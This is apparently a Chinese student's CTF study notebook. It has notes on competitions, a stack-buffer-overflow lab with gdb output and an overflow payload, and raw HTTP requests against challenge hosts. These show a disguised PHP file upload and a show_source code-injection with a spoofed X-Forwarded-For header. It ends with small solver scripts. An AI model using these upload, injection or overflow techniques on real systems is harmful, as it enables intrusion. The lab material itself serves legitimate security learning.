西湖论剑杯
鹏程杯
腾讯信息安全争霸赛
世界黑客CTF大师挑战赛
Oppo Ogeek
XCTF
X-NUCA
CISCN 全国大学生 信息安全竞赛
https://www.bilibili.com/video/BV18Z4y1N7Ts?p=1
wireshark
古典密码 现代密码学
图片 视频 音频隐写
photoshop
攻击脚本
writeup 官方 给的 解题思路
处理大量事务
提高可伸缩性
cookie 可管理状态
https://www.bilibili.com/video/BV1Yy4y187M7?from=search&seid=11030372187425499186
轮数限制 服务器 xxx掉
混合模式 防守模式
实战模式
编码方式
?id-2%df
%df 只要 大于128 就可
hackbar 用时尽量转码
注入 语句 前缀
CTF(Capture The Flag,夺旗赛)
CTF 的前身是传统黑客之间的网络技术比拼游戏,
起源于 1996 年第四届 DEFCON,
以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。
CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。
其大致流程是,
参赛团队之间通过进行
攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。
为了方便称呼,我们把这样的内容称之为“Flag”。
flag所表示的为目标服务器上存储的一些敏感机密的信息, 这些信息正常情况下是不能对外暴露的。
选手利用目标的一些漏洞,获取到flag,其表示的即为在真实的黑客攻击中窃取到的机密信息。
一般情况下flag拥有固定格式为flag{xxxxx},有些比赛会把flag关键词替换,
例如我们CTFHub平台的flag为ctfhub{xxxxx},
利用固定格式来反推flag也是一种常见的解题思路 通常来说CTF是以团队为单位进行参赛。
每个团队3-5人(具体根据主办方要求决定),
在整个比赛过程中既要每个选手拥有某个方向的漏洞挖掘能力,
也要同队选手之间的相互配合。
直接给定一个已经编译好的二进制程序
Windows下的EXE或者Linux下的ELF文件等
然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果
最终拿到目标机器的shell夺取flag。
主要考查 逆向分析、漏洞挖掘以及Exploit编写能力。
CTF-PWN 以最常见的栈溢出为主
栈溢出攻击原理与实践
Linux下GDB调试器的基本使用方法。
Linux操作系统,C语言,汇编语言
二、Linux管道
Linux管道可以将一个进程的标准输出作为另一个进程的标准输入
管道的操作符号为“|”
比如ls命令可用于查看当前目录下的文件列表
而grep命令可用于匹配特定的字符
因此ls | grep test命令可用于列出当前目录下文件名包含test的文件。
三、Python基础
在Linux shell中执行python -c "print 'Hello'"
可以执行双引号中的Python语句
即通过print打印出Hello字符串。
Python中单引号和双引号没有区别
因为这里使用双引号修饰Python语句,因此使用单引号修饰字符串。
四、gdb调试器
gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。
需要用到的gdb命令如下:
读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求
需要理解的汇编指令如下:
汇编语言中
esp寄存器用于指示当前函数栈帧的栈顶的位置
函数中局部变量都存储在栈空间中
栈的生长方向是向下的(即从高地址往低地址方向生长)
缓冲区溢出是指
当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,
使得溢出的数据覆盖在合法数据上,
理想的情况是程序检查数据长度并不允许输入超 过缓冲区长度的字符,
但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,
这就为缓冲区溢出埋下隐患。
服务器:CentOS6.5
IP地址:随机分配
辅助工具:Python,gdb
主机/home/test/1目录下有一个pwn1程序,
执行这个程序的时候可以输入数据进行测试,
pwn1程序会输出Please try again.的提示信息,
请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,
并构造特殊的输入数据,
使之输出Congratulations, you pwned it.信息
源码审计
在实际的CTF竞赛的PWN题目中,
一般是不会提供二进制程序的源代码的。
这里为了方便大家学习,给出二进制程序的C语言源代码供大家分析,
以源码审计的方式确定漏洞所在位置,方便后续进行汇编级别的分析。
(在没有源代码的情况下,
我们通常使用IDA Pro对二进制程序进行逆向分析,
使用IDA的Hex-Rays插件可以将反汇编代码还原为C语言伪代码,
可以达到类似源代码的可读效果,
在后期的实验中会专门对IDA的使用进行讲解)
arg:arguments
argc:argument counter
argv:argument vector
argc 是 argument count的缩写,表示传入main函数的参数个数
argv 是 argument vector的缩写,表示传入main函数的参数序列或指针,
并且第一个参数argv[0]一定是程序的名称,并且包含了程序所在的完整路径,
所以确切的说需要我们输入的main函数的参数个数应该是argc-1个;
一、传入参数方法
1、方法1
C/C++语言中的main函数,经常带有参数argc,argv,如下:
int main(int argc, char **argv)
int main(int argc, char *argv[])
这两个参数的作用是什么呢?
argc 是指命令行输入参数的个数,argv存储了所有的命令行参数。
假如你的程序是hello.exe,如果在命令行运行该程序,
(首先应该在命令行下用 cd 命令进入到 hello.exe 文件所在目录)
运行命令为:
hello.exe Shiqi Yu
那么,argc的值是 3,argv[0]是"hello.exe",argv[1]是"Shiqi",argv[2]是"Yu"。
下面的程序演示argc和argv的使用:
#include
int main(int argc, char ** argv)
{
int i;
for (i=0; i < argc; i++)
printf("Argument %d is %s./n", i, argv[i]);
return 0;
}
假如上述代码编译为hello.exe,那么运行
hello.exe a b c d e
将得到
Argument 0 is hello.exe.
Argument 1 is a.
Argument 2 is b.
Argument 3 is c.
Argument 4 is d.
Argument 5 is e.
运行
hello.exe lena.jpg
将得到
Argument 0 is hello.exe.
Argument 1 is lena.jpg.
2、方法2
项目——属性——配置属性——调试——命令参数,设置命令参数就可以传入。
其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
使用gdb调试程序
执行gdb pwn1即可开始通过gdb对pwn1进行调试
现在我们需要阅读main函数的汇编代码,
在gdb中执行disas main命令即可:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: and $0xfffffff0,%esp
// esp = esp - 0x60,即在栈上分配0x60 字节的空间
0x080482a6 <+6>: sub $0x60,%esp
// modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 <+9>: movl $0x0,0x5c(%esp)
// buffer位于esp + 0x1C处
0x080482b1 <+17>: lea 0x1c(%esp),%eax
0x080482b5 <+21>: mov %eax,(%esp)
// 调用gets(buffer)读取输入数据
0x080482b8 <+24>: call 0x8049360 <gets>
// 判断modified变量的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%esp)
//如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
// modified不为0,打印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%esp)
0x080482cb <+43>: call 0x8049500 <puts>
0x080482d0 <+48>: jmp 0x80482de <main+62>
//modified为0,打印失败提示
0x080482d2 <+50>: movl $0x80b3f0b,(%esp)
0x080482d9 <+57>: call 0x8049500 <puts>
0x080482de <+62>: mov $0x0,%eax
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通过对上面的汇编代码进行分析,
我们知道buffer位于esp+0x1C处,
而modified位于esp+0x5C处,
两个地址的距离为0x5C - 0x1C = 0x40,即64,
刚好为buffer数组的大小。
因此当我们输入的数据超过64字节时,
下面在gdb中进行验证,
在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点:
在gdb中执行r命令,让被调试的pwn1程序跑起来,
就可以输入数据进行测试了,
这里我们输入64个A以及1个B
(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB)
按下 Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,
查看modified变量的值已经被修改成了0x00000042,
而0x42就是字符’B’的ASCII值,
表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续两次执行ni命令,
可以看到je指令没有跳转,
说明modified的值不为0,
程序进入输出通过信息的if语句分支:在gdb中输入c命令就可以让程序继续执行,
看到输出了通过提示信息:
通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,
以达到进入if语句分支的目的。
下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,
输入q命令就可以退出gdb。
下面通过python语句构造输入数据,
然后通过管道传给pwn1程序,
执行命令
python -c "print 'A'*64+'B'" | ./pwn1
回忆录
/robots.txt
POST / HTTP/1.1
Host: 58.56.56.250:40119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------262782009040521283011952619112
Content-Length: 374
Origin: http://58.56.56.250:40119
Connection: close
Referer: http://58.56.56.250:40119/
Cookie: csrftoken=EIKX3iViifVvBt3usEys7CoUsZKDFTy4dJWHD3GMuCKlHMqk9ceumBrZ0PqoX4Tc; sessionid=29w40kfjbp9o5vlqtfagypq0ug45v3k6
Upgrade-Insecure-Requests: 1
-----------------------------262782009040521283011952619112
Content-Disposition: form-data; name="userfile"; filename="1.php"
Content-Type: image/gif
GIF89a
-----------------------------262782009040521283011952619112
Content-Disposition: form-data; name="submit"
涓婁紶
-----------------------------262782009040521283011952619112--
GET /?hello=show_source(%27flag.php%27) HTTP/1.1
Host: 58.56.56.250:40153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Cookie: csrftoken=EIKX3iViifVvBt3usEys7CoUsZKDFTy4dJWHD3GMuCKlHMqk9ceumBrZ0PqoX4Tc; sessionid=29w40kfjbp9o5vlqtfagypq0ug45v3k6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
import requests
url="http://58.56.56.250:40270/"
try:
a=requests.session()
urls = url.replace('\n', '')
a1=a.get(urls)
#print(a1.text)
b=a1.text
b1=b.find("r/>")
b2=b.find("")
b3=b[b1+3:b2]
#print(b3)
b4=eval(b3)
#print(b4)
poc={"result":b4}
a2=a.post(url,poc)
print(a2.text)
except Exception as err:
print('域名不通')
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );//MyCTF:
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//
$ans=decrypt($flag,$key);
print $ans;
?>
隐写密码 apt-get123
binwalk -e 1.png
# -*- coding:utf-8 -*-
import operator
str = '''
flM{Sg_i_igl1S_ll__SfM_FF_1ilfM{Sa11gagc1lSSMgfnafg_fMa1n5iaF_c1lSFiSaf_1f{S_l_FalS5_faSl_fgl5M1_{ll!{i5c}if1__fg5{__M{ngU{1l1gff1f1iS__Mf5iFMlciSgaU{glgUF5M_1aa_f_i5{nflllla1S1FS!cSg{fUfFcS1{{ag1lU51acfUSffMcMSgfSfalFg_g_gfgfiSfla1i{{{n{_lg_}{ggi{gglg{{flnliF{M5faF1ig_agal{_{{aMMilfUSa{a5ggiiigfSSg{M_Mng{a}fcMf1_Fl{cM{1fiflMSSM{_l!Scf5FFcn{g{SFnMlf{l__aScMl{{c_lS1Sic1!l5ga1_gfggllcllccaagMU1iala55FSfia5lScMMFiMaFff{{g{fcicM!l_{iffcg{UlcMa{{5f5Mc{McfagcM_Ma1Slcf{cSg_SflM5U11_5i_fcc{FagglaMUfS1g_{lSc5f_lag5Sg_ccclca___ala1g1aSMfa_fcaFnSSi{a1a{gUif_FgaS{lacSgfga{F1fgScf1_M__{1ag_5MMSiga11g_aMl5fM15a_gla5f1_UllgcSc{Sagac{accS_i{Mf{Sgccg_ici{fgcl_gaMlffS{{i{nnfaM}aallSSg1ilUif{Mi1SMiMl1aaMUl{alaglM!1lgngScMac1fa1acafS1fgfM__S11_SM{f}la_cM_g{fniifgc1M{_lM!M5}g5_l1USg{cgl{SaccigSU1fMgl5lcaiggMFfcaca1l{Ugf_lalg1_g!{iaala_M5l1Mc11afcgfgl5f1g_c{llaUMf1lM1aF{af1Sl5lf5l1l5a_cc_c_1ff}f_ff}MlU{afM_1fcla{{gM{_Sl_M_{gM_{g5gaMaFU{{!S1ala1lfl1lifl_Mlf5F{l_g{li__aM_gfSU{lM_agM{giff{ii_{ff_naaaif1gf_ag__lnFacgiSlSac_Ma5M{fg{{fac{gllfaa{Mi5MnMff{{gc!fn_iU{ll5i_Saa5M{Mi}{g{Ffl{Ffac!a{afffgl!_gMalF_c{lac_MFMg5acMFcla5cMlU5aSff{l_UFf_Ug1!g1F_c{{aMMg{SlgUa1ca1ff5_c1g5{fligg11_lla_fcf1{Mla1MnglM{5lSl1g__Sll_cUc5MSa{_fiMiiS1c{M1g_SSUifi1!Saa{_glS1aaal{llF1cFgig_Sf{acf{Uf1c1fa!gfFM_aS51lgaMa1aa_gfif_ia{M_a_M1fMSaSSfMSl{1gFcl151l_lFfMilffgf1gSSgcaf_SfMgaf{}ilaUMM_MU5ff551i5SnFgc15nSMa1M{{_fSlMg{{5fcS1g5fSgMMUi{_ig5falf1nfgFaUMlff!g__la_F_c1{i1!{lc{i{1iglM_fUgl___a5fnMaFf{_lfll_igf1lcalniMag_5nFS1MMaiM1ll5SlMiaf_5l{af__MMgac_Mf__fUa1fc{1{_55SF!llfgU1l1U_Mal_l{alglSglcnlfSfaacgSSgSc_Maa{ffg51MaSfca1U_{gfS1ff5l{{f1Ml_gSgc_n5iS1Sg_l__1nnM1lM15MillfaMff1!nl1fFSM5Fflf{acagl{Sf{ggfSi1f!FSagf{{lFf5la5{ff__lM{M_fUlSgi
'''
payloads = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!0}{123456789_\n'
#payloads = payloads.upper()
# print payloads
dists = {}
for x in payloads:
dists[x] = 0
# print x,dists[x]
for s in str:
dists[s] += 1
ans = ''
res = sorted(dists.iteritems(), key=operator.itemgetter(1), reverse=True)
for r in res:
ans += r[0]
print r
print ans
flag{deddcd67-bcfd-487e-b940-1217e668c7db}